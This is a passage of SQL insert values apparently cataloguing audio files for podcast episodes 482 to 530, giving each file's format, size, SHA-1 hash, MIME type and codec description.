(482,'hpr0482.mp3','mp3',8093973,'dbbc71ed0f30f786d6ec51502fe442b6bec30024','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer II, v1,  64 kbps, 44.1 kHz, Stereo'),
(482,'hpr0482.ogg','ogg',7896836,'bfbf58f406b117aedf9548ee4ee5327deeae8209','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(482,'hpr0482.spx','spx',3716558,'0914e64b0c52695621f94f1275f5cf4008c25b55','application/ogg; charset=binary','Ogg data, Speex audio'),
(483,'hpr0483.mp3','mp3',40638732,'3a60f7d64e78706250fb0cc1053ed97a5d1aef59','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(483,'hpr0483.ogg','ogg',42944858,'5ee265a3c8d9e29a68c58377c384060e3aba1b45','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(483,'hpr0483.spx','spx',14929513,'856b4e730bfe30b8527891c692dda8a51ce6b816','application/ogg; charset=binary','Ogg data, Speex audio'),
(484,'hpr0484.mp3','mp3',13479935,'9e3cccd641d2cf0533f45def9f7e5d6e2699d3ce','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(484,'hpr0484.ogg','ogg',10969655,'8d1369dff49670584b1ef154fa20b576b84192fb','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(484,'hpr0484.spx','spx',4952164,'df7dcbc2477f787456d0cb60d0abc17dac672dfd','application/ogg; charset=binary','Ogg data, Speex audio'),
(485,'hpr0485.mp3','mp3',7657600,'ab89d25dfbf1387f3d8f31ad97a58b40ad4d7c31','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(485,'hpr0485.ogg','ogg',7971820,'4d7f9294a270f5a573928611f0f1973c8b523efa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(485,'hpr0485.spx','spx',6089449,'d8928e1510fe83c6819b0dd64912b81deacce6c3','application/ogg; charset=binary','Ogg data, Speex audio'),
(486,'hpr0486.mp3','mp3',49258624,'270c8adb7992c27fe34061628def65f50adcf556','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(486,'hpr0486.ogg','ogg',33193268,'c38aabe1a49549565b1740a027d42c95b9c18c8b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(486,'hpr0486.spx','spx',11309986,'21f06166c9bf54c830b4f96ebe70a7a9f1f4700a','application/ogg; charset=binary','Ogg data, Speex audio'),
(487,'hpr0487.mp3','mp3',16586880,'32686a70ee1a78dc4bdb59aeb52723bd988365a4','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  32 kbps, 16 kHz, JntStereo'),
(487,'hpr0487.ogg','ogg',20476098,'580a27d4c6ac17b732160dd8a931ad2d4e54c7d3','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(487,'hpr0487.spx','spx',15232463,'55db86fffea564f3b5f7a0434fe64c788017851c','application/ogg; charset=binary','Ogg data, Speex audio'),
(488,'hpr0488.mp3','mp3',15249722,'2602685ba932337b198cbd689cfe2e4ffe6738bf','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Stereo'),
(488,'hpr0488.ogg','ogg',11196940,'c9b2827562dac9347b19b9d11fefa983e29aebde','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(488,'hpr0488.spx','spx',3501583,'3c1edef9aa59890f5b78f7cebc8293b6e352eda8','application/ogg; charset=binary','Ogg data, Speex audio'),
(489,'hpr0489.mp3','mp3',27747758,'0f7ba83f34c556df9e3eeddbfa6d8e32d5e2cca8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(489,'hpr0489.ogg','ogg',16082042,'f849d4b97cdc1781b6873ed10d28fa3350194e4c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(489,'hpr0489.spx','spx',6196269,'0e5400bec2e47cc4dff200901b73b279aa9bfd4b','application/ogg; charset=binary','Ogg data, Speex audio'),
(490,'hpr0490.mp3','mp3',11493260,'25449ddc9d362b32f2facf022a4ec6002bca5ffd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(490,'hpr0490.ogg','ogg',11344361,'3517bf949974ed01d9009085458d0e03266468bf','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(490,'hpr0490.spx','spx',4222357,'69d1ac7fb9a2832a6a272cc6a0b648c6a812cb52','application/ogg; charset=binary','Ogg data, Speex audio'),
(491,'hpr0491.mp3','mp3',27041920,'69dd45a28b55ddf6d04a71c673af9f8f1cfb6f32','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, JntStereo'),
(491,'hpr0491.ogg','ogg',16109546,'9a4efa7e93cdb9f00f25911958b0ebca2a60d7e9','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(491,'hpr0491.spx','spx',9952052,'eeedeee761bad4cde3e076381413859542a5d6d7','application/ogg; charset=binary','Ogg data, Speex audio'),
(492,'hpr0492.mp3','mp3',37412879,'b7d8227c51db16b52cf60bc83539890d1daf6f0d','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(492,'hpr0492.ogg','ogg',35921606,'274a77861826d94ebbd59665ba3c48a78d6cde7a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(492,'hpr0492.spx','spx',13744455,'66a6fd061cc9e97bacb01e7222ea8898d8c32a5c','application/ogg; charset=binary','Ogg data, Speex audio'),
(493,'hpr0493.mp3','mp3',28248971,'faf042024f329d605ca003e48aaf0a580d643249','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(493,'hpr0493.ogg','ogg',14434106,'439720eac01e374420ff53379d09947c167f8b2a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(493,'hpr0493.spx','spx',6308326,'13e2e5b545157d72fb62c96bdadf77789fc70a5d','application/ogg; charset=binary','Ogg data, Speex audio'),
(494,'hpr0494.mp3','mp3',5941815,'4438b20c02b965823378d0dc6965fbfd919ad92c','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  80 kbps, 32 kHz, Stereo'),
(494,'hpr0494.ogg','ogg',4375373,'3bc53fc86d9cd9d93d11a900087caeab76538a8f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(494,'hpr0494.spx','spx',2182947,'56a8e7585a26a0ca78f5ec311784cf4703506e3b','application/ogg; charset=binary','Ogg data, Speex audio'),
(495,'hpr0495.mp3','mp3',21735098,'17327b759d42dcd6b4363e2f7301a494f5f1a9f7','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(495,'hpr0495.ogg','ogg',11114117,'fb9f20017d1f168c85069f76b91b884baf575f2c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(495,'hpr0495.spx','spx',4853735,'2eb0c2fec001870b9dba668a1803b03aee27b9e1','application/ogg; charset=binary','Ogg data, Speex audio'),
(496,'hpr0496.mp3','mp3',1710208,'92b95ced0328452f5a09ffc8d447358557f2861a','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  32 kbps, 16 kHz, JntStereo'),
(496,'hpr0496.ogg','ogg',2182337,'c13ce15e00c33622acab0ed8468c9730f6114862','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(496,'hpr0496.spx','spx',1569793,'9e9d6d0b870455b682fc5b4d3df3ca5fd57aa069','application/ogg; charset=binary','Ogg data, Speex audio'),
(497,'hpr0497.mp3','mp3',21518562,'3a0144d348ecb3cdffecf7ede4e46a352e2b1502','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(497,'hpr0497.ogg','ogg',11154148,'aa106b888fce78e95c5af3f264ebe4c857ce683e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(497,'hpr0497.spx','spx',4805344,'3d4a1fe0eb3da2a437019f1f6a6fd01accd98028','application/ogg; charset=binary','Ogg data, Speex audio'),
(498,'hpr0498.mp3','mp3',17939257,'6ca72a9067c995dde9def2cef570e856da412d6a','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(498,'hpr0498.ogg','ogg',11721106,'ef64c2fdde3dcac06b2aa904355219a4a003fa25','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(498,'hpr0498.spx','spx',7306666,'56883f9e4311d5bc513af4ded1392791f34b1e48','application/ogg; charset=binary','Ogg data, Speex audio'),
(499,'hpr0499.mp3','mp3',53101493,'74a36792aface082ac8ec799e3639d06215407e6','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(499,'hpr0499.ogg','ogg',55743881,'629b3e6da0efe77a7784e03174954465bc3cb195','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(499,'hpr0499.spx','spx',19507973,'6ca2ac9f65b48a8b37ef19a73ef28943cdbd9b14','application/ogg; charset=binary','Ogg data, Speex audio'),
(500,'hpr0500.mp3','mp3',14465148,'ad2a0c24289d616d22fabc1c0d12103e46954b7c','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, JntStereo'),
(500,'hpr0500.ogg','ogg',10866466,'c468057007e11763c70dc0e9c5d51cd1d8433a31','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(500,'hpr0500.spx','spx',6642729,'3f9ee41cb2a7bdc9d68ca5ba82c08b855e30c665','application/ogg; charset=binary','Ogg data, Speex audio'),
(501,'hpr0501.mp3','mp3',6912569,'ed5ba365fdb4730f3b050482f778911cc87e570a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 32 kHz, Stereo'),
(501,'hpr0501.ogg','ogg',5561309,'b6acf1e7f95e27499b2107d6780b7647003a7abf','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(501,'hpr0501.spx','spx',2539511,'03b253be58b501214209080058a0fdf30e6061da','application/ogg; charset=binary','Ogg data, Speex audio'),
(502,'hpr0502.mp3','mp3',27459022,'988aaa6bf0c679add2d885ba174920a35e530e29','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(502,'hpr0502.ogg','ogg',14476090,'e8089912d18f78916488702c82407b18ed079a8c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(502,'hpr0502.spx','spx',6131893,'2c375668fbb5108d53ee9cfc7beea3c12e449283','application/ogg; charset=binary','Ogg data, Speex audio'),
(503,'hpr0503.mp3','mp3',13038034,'da59de76fba1c2262d7ec509422c7bd3d9ff2d0f','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(503,'hpr0503.ogg','ogg',8908692,'47ed4f3ea131737d4b47844d6db167906f565dd4','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(503,'hpr0503.spx','spx',2993713,'0a5a36188abb7081cd317b71815f076a8d687c40','application/ogg; charset=binary','Ogg data, Speex audio'),
(504,'hpr0504.mp3','mp3',14004352,'8dbe35a53482811c190f1d02a051d69cc98f5358','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  32 kbps, 16 kHz, JntStereo'),
(504,'hpr0504.ogg','ogg',15010376,'3ff922abe41d26f94d5e5de8be670cb1513a799d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(504,'hpr0504.spx','spx',12860203,'eaf6b9ab185a1729d59404aa90b8f59ee2139bdf','application/ogg; charset=binary','Ogg data, Speex audio'),
(505,'hpr0505.mp3','mp3',19555397,'fe5696826603a17a588a5ec2e56ef6779e1a1e97','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2, 128 kbps, 16 kHz, Stereo'),
(505,'hpr0505.ogg','ogg',6597003,'573a440a6d6983991da16794a5b6a92a96d50f9b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(505,'hpr0505.spx','spx',4490097,'27791875e51cc7d5f77925c195d2c249f2f4c6c9','application/ogg; charset=binary','Ogg data, Speex audio'),
(506,'hpr0506.mp3','mp3',49376041,'102cf12aceae93921a90989808e2ee8bf8ad482e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(506,'hpr0506.ogg','ogg',45166051,'b5e0cd166aa7e6f72907cdcc46d99c46353dbe01','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(506,'hpr0506.spx','spx',18139300,'83c8413cd5c9859494cb939368c0c48319eaef74','application/ogg; charset=binary','Ogg data, Speex audio'),
(507,'hpr0507.mp3','mp3',15728475,'29941cb09c59828e4774a5e5e6b5bf0ec2b8b7c2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(507,'hpr0507.ogg','ogg',11426084,'9e330c9e2763cda2a975e7341ca3889e42862743','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(507,'hpr0507.spx','spx',4683080,'28233e853e0bd5153b03e8a54deec2d1aea92de2','application/ogg; charset=binary','Ogg data, Speex audio'),
(508,'hpr0508.mp3','mp3',20482566,'1e03efb6e6b80d1c53972306aff9fb2c7f58b9d6','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2, 128 kbps, 22.05 kHz, JntStereo'),
(508,'hpr0508.ogg','ogg',7725137,'34606be396b6e06f07f30f5e3583e3630d0ec517','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(508,'hpr0508.spx','spx',4703001,'737e4d19102ff0ac8866e85fcfd7dbf61528d4ea','application/ogg; charset=binary','Ogg data, Speex audio'),
(509,'hpr0509.mp3','mp3',59032735,'bceec51c40587298b526b73d814f994564517df7','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2, 128 kbps, 22.05 kHz, Stereo'),
(509,'hpr0509.ogg','ogg',20819970,'9398626b271fce3a51c53f49156e3cab7b6f1970','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(509,'hpr0509.spx','spx',13554316,'5b86f289152ffdcb3194e2e52c3d1a7a6f9ce57b','application/ogg; charset=binary','Ogg data, Speex audio'),
(510,'hpr0510.mp3','mp3',22955434,'167b3fbe162abe8bb142c087c621833a6d85e33e','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(510,'hpr0510.ogg','ogg',14434788,'c3cbe073051e444080e6df92b15bd115970f2058','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(510,'hpr0510.spx','spx',5270744,'929d8772278b58bd2b1340e17043c86c52bb6e26','application/ogg; charset=binary','Ogg data, Speex audio'),
(511,'hpr0511.mp3','mp3',63293031,'83a91f68e7ca864cc0347bc1521b2ee4ea02db11','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(511,'hpr0511.ogg','ogg',66359365,'8f76c101e2e6a8bf1933bc790150a23253739d3f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(511,'hpr0511.spx','spx',23251945,'ba12f3c9ebee8feabeda9cf5d59acba529f37077','application/ogg; charset=binary','Ogg data, Speex audio'),
(512,'hpr0512.mp3','mp3',29678811,'b22c09edb431ae510312459fb08f4e410d0e25ff','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  48 kbps, 22.05 kHz, JntStereo'),
(512,'hpr0512.ogg','ogg',22819342,'a4cfac564c75590d94d4cddb345dee0d64de879a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(512,'hpr0512.spx','spx',18171901,'4ee8c5a63ed9f6e7ec0c767863dd23acef698e35','application/ogg; charset=binary','Ogg data, Speex audio'),
(513,'hpr0513.mp3','mp3',11017068,'5d08346e6484fba7a4e237029f5c2bbd40da30a3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(513,'hpr0513.ogg','ogg',9232499,'78da504229393587090d38d2cff4da7c860b967b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(513,'hpr0513.spx','spx',2529721,'a7ce7d0e5d8703843dddd09941d4aa08292796b2','application/ogg; charset=binary','Ogg data, Speex audio'),
(514,'hpr0514.mp3','mp3',5047856,'1e4e5a34f97f4d62e333fb32eca9c4679083a31e','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 16 kHz, Monaural'),
(514,'hpr0514.ogg','ogg',5404767,'173077f0b0e624d6d7b6e0dc769c6620844a220e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 16000 Hz, ~48000 bps, created by: Xiph.Org libVorbis I'),
(514,'hpr0514.spx','spx',4598831,'d49b644715f68f6860f55a53f9b3435e05dbb7c7','application/ogg; charset=binary','Ogg data, Speex audio'),
(515,'hpr0515.mp3','mp3',13290187,'6b51546193cf58f58ebe6e53d62fb95967dfac84','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 32 kHz, Monaural'),
(515,'hpr0515.ogg','ogg',7019343,'95d21e9beac95b2d82f89a20da39aea0de76bb18','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(515,'hpr0515.spx','spx',5744731,'7c6b14ff7999d3704f613507b2dab79d5a01726c','application/ogg; charset=binary','Ogg data, Speex audio'),
(516,'hpr0516.mp3','mp3',22060404,'30fa2413f03aa6a5bebac020c6f398a2717936d6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Monaural'),
(516,'hpr0516.ogg','ogg',7922698,'975e6fbec56048c3cd27d82f7ad0e22c45a7222e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 8000 Hz, ~22400 bps, created by: Xiph.Org libVorbis I'),
(516,'hpr0516.spx','spx',9852322,'b9d3b8d5c7533b659faca82f9580a2ab58becd6e','application/ogg; charset=binary','Ogg data, Speex audio'),
(517,'hpr0517.mp3','mp3',26260077,'038f6da6d2d947fd054f2ffa49094051dea06252','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(517,'hpr0517.ogg','ogg',15675461,'d91a663a817af328338b62c08f7b0c6ac0187acc','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(517,'hpr0517.spx','spx',6029575,'54d33a8e6b4e28aed7f092fcdeadea126d0ead92','application/ogg; charset=binary','Ogg data, Speex audio'),
(518,'hpr0518.mp3','mp3',53083507,'c951c05b386fe173238f509768d8f887753f306e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v2, 128 kbps, 22.05 kHz, Stereo'),
(518,'hpr0518.ogg','ogg',17300267,'a86bacafb98806d397dca27c0cedbe6a8d70756c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(518,'hpr0518.spx','spx',12188371,'ce1b5ac1ee9717addfead40bff8a736cda11ed83','application/ogg; charset=binary','Ogg data, Speex audio'),
(519,'hpr0519.mp3','mp3',41039861,'0cee0784306525aa398730234bce99d3481ceaab','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(519,'hpr0519.ogg','ogg',36831670,'24719116946901bb5ea0745c4f685bf843817af3','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(519,'hpr0519.spx','spx',15076823,'2b2f6390ecb01cd84e72ad6633dae8308cc103e3','application/ogg; charset=binary','Ogg data, Speex audio'),
(520,'hpr0520.mp3','mp3',20834967,'f9297b88e9f575f7b3d00155afc21cb661c7c166','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(520,'hpr0520.ogg','ogg',12987308,'eab002b658ae8dc58bae5744102b6f88947de24a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(520,'hpr0520.spx','spx',4783987,'e6e92472e569685180f1e8ec5a3f6e120b8e5d47','application/ogg; charset=binary','Ogg data, Speex audio'),
(521,'hpr0521.mp3','mp3',6874107,'57133700b4282d34f7a9ea6b9bc48e5275fc85ce','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 16 kHz, Monaural'),
(521,'hpr0521.ogg','ogg',7194686,'1d22caa5fd47cad882587148c64e9c8235d1c575','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 16000 Hz, ~48000 bps, created by: Xiph.Org libVorbis I'),
(521,'hpr0521.spx','spx',7021895,'95329aae2df480843789574fb1102fb6cb979820','application/ogg; charset=binary','Ogg data, Speex audio'),
(522,'hpr0522.mp3','mp3',5671287,'21677aaba1063bde0445a4615f9380a3d5baf440','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(522,'hpr0522.ogg','ogg',4657049,'e6667209d65058dff749332e47bf1fa247698b32','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(522,'hpr0522.spx','spx',1302272,'e63e3f9163ae1879d0108002906c3d969c98acbd','application/ogg; charset=binary','Ogg data, Speex audio'),
(523,'hpr0523.mp3','mp3',17756630,'c92f6f1d261afcbc026d1cf2501cc64ae615e1a5','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  48 kbps, 22.05 kHz, JntStereo'),
(523,'hpr0523.ogg','ogg',17850070,'c91c0688232f94d0044ced1c6200d3b6d0aa6d19','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(523,'hpr0523.spx','spx',10872217,'31f23ddbe36fed54cdc14186fff7b436d322b17a','application/ogg; charset=binary','Ogg data, Speex audio'),
(524,'hpr0524.mp3','mp3',18184549,'5fd9bcf3c5104856396b3202ea129444ae763b40','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(524,'hpr0524.ogg','ogg',19992940,'2113468d8b8dff81b9ec9a949728aca9a641db42','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(524,'hpr0524.spx','spx',6680494,'05eeb38db331d19ad46f01dc1844b0d2a66fa7e4','application/ogg; charset=binary','Ogg data, Speex audio'),
(525,'hpr0525.mp3','mp3',13964787,'8e642cfe5b6aa07a1d87a096b271630210aad5ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Monaural'),
(525,'hpr0525.ogg','ogg',5043938,'ec0f44e23b517f6cda94c10dd7221fbbe12e5d8e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 8000 Hz, ~22400 bps, created by: Xiph.Org libVorbis I'),
(525,'hpr0525.spx','spx',6236725,'8524cc7e3b3f7058e128982ffe27a90e83134ce1','application/ogg; charset=binary','Ogg data, Speex audio'),
(526,'hpr0526.mp3','mp3',16777393,'93a173f13cff103f83e7549beb2b95ee3ae9b127','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Monaural'),
(526,'hpr0526.ogg','ogg',5895988,'ad654184fafebea0db805fe00dcf54a9f2747760','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 8000 Hz, ~22400 bps, created by: Xiph.Org libVorbis I'),
(526,'hpr0526.spx','spx',7492880,'c62253d577e8670db63fa99033c6ed79184e1c20','application/ogg; charset=binary','Ogg data, Speex audio'),
(527,'hpr0527.mp3','mp3',21231744,'d7020cd8beb7c2bfc40b74afc49ca5f3c52c5539','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 32 kHz, JntStereo'),
(527,'hpr0527.ogg','ogg',19097564,'da37c1cc39d6ff54951eb0c75c86b282ae17af6e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(527,'hpr0527.spx','spx',7169952,'dd25d4359d3d4c229a7267d156ad08fd0d5d30c4','application/ogg; charset=binary','Ogg data, Speex audio'),
(528,'hpr0528.mp3','mp3',48374444,'77b4b5ab808861fb146be31dbeadce5bb547f5b9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(528,'hpr0528.ogg','ogg',26130030,'d17e2453fb9858b14aeef974ed48cdf767ab53b5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(528,'hpr0528.spx','spx',10802369,'30b985cb30ce99f65d30cc8b29ca203966536e1d','application/ogg; charset=binary','Ogg data, Speex audio'),
(529,'hpr0529.mp3','mp3',61658874,'6431ec708d8a384336bf7c3eaaeec249c3272a8e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(529,'hpr0529.ogg','ogg',25362861,'cd9aac293c663d89acd41f7209e41cb3b3dcdf5a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(529,'hpr0529.spx','spx',13768844,'514346799ba62152123a3e743bc41296d20cdba9','application/ogg; charset=binary','Ogg data, Speex audio'),
(530,'hpr0530.mp3','mp3',8046633,'27d9138899d6064566688a086cd2adefa4c5a09b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
